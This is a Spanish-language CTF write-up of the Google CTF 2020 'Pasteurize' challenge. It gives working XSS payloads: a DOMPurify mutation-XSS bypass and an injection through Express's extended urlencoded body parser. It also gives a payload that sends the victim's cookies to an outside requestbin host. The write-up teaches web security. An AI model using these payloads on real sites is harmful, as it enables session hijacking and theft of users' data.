Skip to content

Instantly share code, notes, and snippets.

@Retr02332
Last active January 29, 2021 00:54
Show Gist options
  • Save Retr02332/e3dee016d0af062ee4b50709065280d7 to your computer and use it in GitHub Desktop.
Save Retr02332/e3dee016d0af062ee4b50709065280d7 to your computer and use it in GitHub Desktop.
Google CTF 2020 Web (Pasteurize) Write-Up

Pasteurize (Google CTF 2020)

Este es mi primer CTF de google, me anime a resolver los del 2020 asi que pronto hare el respectivo write-up de los demas. Este reto en particular me gusto mucho porque no solo encontre una vulnerabilidad en la aplicación objetivo, sino tambien en una biblioteca que usa llamada DOMpurify.

Descripción

Esto no parece seguro. No pondría ni el más mínimo secreto aquí. Mi fuente me dice que es posible que terceros ya lo hayan implantado con sus pequeñas golosinas. ¿Puedes probar que tengo razón?

Enlace al reto: https://pasteurize.web.ctfcompetition.com/

Análisis

Lo primero que hice al entrar es abrir el inspector de elementos y empezar a buscar todos los archivos javascript posibles (los que pertenezcan a el reto por supuesto), como tambien buscar en el HTML posibles peculiaridades que me permitan tirar del hilo.

Interfaz principal

image

Al enviar nuestro mensaje, obtenemos lo siguiente:

image

Al ver el HTML de la pagina vemos el siguiente codigo:

image

Primero que todo debemos notar el comentario resaltado:

<!-- TODO: Fix b/1337 in /source that could lead to XSS -->

Un error en /source que podria conducir a un XSS.

Luego mas abajo vemos dos fragmentos de codigo javascript. El segundo fragmento fue el primero que mire puesto que me parecia curioso que se mostrara un texto y luego simplemente desapareciera. Sin embargo como es de notarse, el texto se añade al HTML con innerText y no con innerHTML. Lo cual dificultaba bastante la tarea de obtener un DOM XSS.

Regresando al primer fragmento javascript, podemos ver que tenemos dos variables preestablecidas, las cuales son note y note_id.

Decidi descartar note_id despues de unas cuantas pruebas porque viendo el endpoint /source me di cuenta de que era absurdo cambiar este valor.

En el codigo claramente se ve que al crear una nota, esta se guarda en un datastore. Usa el note_id como key y note como su respectivo valor. Asi es de que si cambiamos ese valor, simplemente lo unico que obtendremos sera un error.

Pues bueno, entonces las pruebas seran realizadas a la variable note.

Vector de ataque

Cuando analizaba /source en busqueda de como trataba y usaba la variable note, me di cuenta que una vez la nota estaba en el datastore, y la aplicacion queria recuperar la nota, antes de que el servidor devolviera la pagina saneaba la nota reemplazando < con \x3C y > con \x3E.

El codigo encargado de "sanear" la nota al obtenerla del datastore era la función "escape_string" y es la siguiente:

/* Who wants a slice? */
const escape_string = unsafe => JSON.stringify(unsafe).slice(1, -1).replace(/</g, '\\x3C').replace(/>/g, '\\x3E');

Y la parte del codigo en /source donde usaba dicha funcion era la siguiente:

/* Make sure to properly escape the note! */
app.get('/:id([a-f0-9\-]{36})', recaptcha.middleware.render, utils.cache_mw, async (req, res) => {
	const note_id = req.params.id;
	const note = await DB.get_note(note_id);
	if (note == null) {
		return res.status(404).send("Paste not found or access has been denied.");
	}
	const unsafe_content = note.content; // Aqui captura la nota
	const safe_content = escape_string(unsafe_content); // Aqui utiliza la función descrita anteriormente
	/*
	Esto es lo que vemos en la pagina HTML cuando le damos a
	submit despues de establecer nuestra nota, desde aqui es 
	que se mandan estas variables. Recordemos que luego la nota
	sera saneada denuevo por DOMPurify, por lo que podemos decir
	que esta variable es saneada dos veces.
	*/
	res.render('note_public', { 
		content: safe_content,
		id: note_id,
		captcha: res.recaptcha
	});
});

No le preste mucha atencion a ese comportamiento ya que al realizar una pequeña prueba me di cuenta de que cuando introducia esos hexadecimales a DOMPurify.sanitize, este los convertia de nuevo a < y >.

Asi que bien, en este momento sabia que este era el vector de ataque puesto que si miramos de nuevo el HTML generado cuando enviamos una nota, el contenido de esta es insertado en la pagina usando innerHTML que es altamente propenso a ataques XSS, tan solo debia encontrar la forma de hacer un bypass a la funcion de DUMPurify.

Cuando ingrese a DUMPurify.js y busque por la palabra version, me di cuenta de que la version era la 2.0.12

image

Investigando un poco en internet me encontre con este increible articulo sobre mXSS (mutation XSS) de Gareth Heyes.

El exploit para romper DOMPurify era el siguiente:

<math><mtext><table><mglyph><style><!--</style><img title="--&gt;&lt;img src=1 onerror=alert(1)&gt;">

Si quieres entender como funciona mXSS o como funciona este exploit en particular, puede visitar el link que deje arriba. Sin embargo lo que te puedo decir es que el mXSS ocurre cuando un navegador cambia la estructura HTML despues de que otro sistema lo verifica y desinfecta.

Pues nada, solo es insertar ese codigo en el cuadro de texto de la nota y ver ese hermoso pop-up saliendo por pantalla.

Antes de seguir con la flag, me gustaria decir que lo que yo encontre fue un error de DUMPurify y no de la aplicación en si, el error verdadero de la aplicación era posible gracias a el siguiente fragmento de codigo ubicado en /source.

/* They say reCAPTCHA needs those. But does it? */
app.use(bodyParser.urlencoded({
extended: true // Este es el responsable de la vulnerabilidad
}));

Si deseas profundizar un poco mas te dejo el siguiente link: https://stackoverflow.com/questions/55558402/what-is-the-mean-of-bodyparser-urlencoded-extended-true-and-bodyparser

Sin embargo, algo que les puedo decir es que generalemente, cuando se trabaja con diferentes analizadores o librerias de serialización, las opciones de extendido son peligrosas, para este CTF esencialemente nos permite enviar objetos tipo array como parámetros POST.

Explicandolo de una forma mas visual:

// Si en lugar de mandar esto en la solicitud HTTP
content=message
// y recibir esto dentro de la pagina HTML que nos proporciono el servidor en la respuesta
const note = "message";
// Mandaramos el parametro content de esta manera gracias a el extended:true
content[row][column]=value
// Para asi recibir esto dentro del HTML de la respuesta del servidor
const note = ""row":{"column":"value"};
// Entonces podremos notar que efectivamente este comportamiento es explotable.

Asi es, este comportamiento es explotable, basicamente ya tenemos las 2 comillas (" "), y solo nos quedaria agregarle un (;) para cerrar esa declaracion javascript de esta manera:

"";

Y si a eso le sumamos un comentario justo despues de row, obtendriamos lo siguiente:

"";row//":{"column":"value"}

Explotando la vulnerabilidad

¿Ya lo notaste?, tenemos un stored XSS y en lugar de poner row, podemos poner codigo javascript arbitrario en el navegador de la victima. ¿No me crees?, vamos a verlo en acción !!!

const note = "";alert(1)//":{"column":"value"}

Encontrando el flag

Ahora solo nos queda encontrar el flag, sea cual sea el metodo (DOMPurify o extended:true), todo dos te deberian de servir porque ambos permiten ejecutar javascript arbitrario en el navegador victima.

Despues de inspeccionar detenidamente la pagina por todos lados no pude encontrar el flag, me parecia algo extraño siendo que ya habia logrado obtener el XSS, asi que pense... Si hay una opcion llamada shared with TJMike y en la descripción del CTF nos mencionan

"Mi fuente me dice que es posible que terceros ya lo hayan implantado con sus pequeñas golosinas"

Al ser un XSS junto con esos dos pistas anteriores, definitivamente se trata de un session hijacking o al menos solo robar las cookies sin llegar a comprometer la cuenta del usuario como tal. Es decir, puede que el flag este en las cookie de TJMkike o que este dentro de la cuenta de TJMike.

Con esto, solo debia modificar el payload para que en lugar de poner alert(1), poner una petición a un servidor de mi control en donde el usuario incluya sus cookies.

Sin mas palabras, el payload es el siguiente:

// payload para que TJMike me envie su cookie como parametro a mi servidor
content[;var img = createElement("img");img.src="http://requestbin.net/r/fqu3ycb5?cookie=".concat(document.cookie)//][column]=value

Este payload se reflejaria en la pagina HTML devuelta por el servidor de la siguiente manera

<script>
const note = "hola";
var img = createElement("img");
img.src = "http://requestbin.net/r/fqu3ycb5?cookie=".concat(document.cookie)//":{"column":"value"}";
const note_id = "8f17c5cf-72e0-43b5-8f11-200ef9dc6b50";
const note_el = document.getElementById('note-content');
const note_url_el = document.getElementById('note-title');
const clean = DOMPurify.sanitize(note);
note_el.innerHTML = clean;
note_url_el.href = `/${note_id}`;
note_url_el.innerHTML = `${note_id}`;
</script>

El log generado por mi servidor cuando entra la peticion de TJMike es la siguiente:

image

cookie: secret=CTF{Express_t0_Tr0ubl3s}

¡ Hemos encontrado el flag !

Cabe decir que no es el unico payload posible, tambien hubieramos podido inyectar un fetch() en lugar de hacerlo con un <img>, pero ante gustos colores.

Espero hayas aprendido tanto como yo con este reto, ¡ happy hacking :D !

PDTA: Aqui te dejo mi mapa mental por si tienes curiosidad :"D

image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment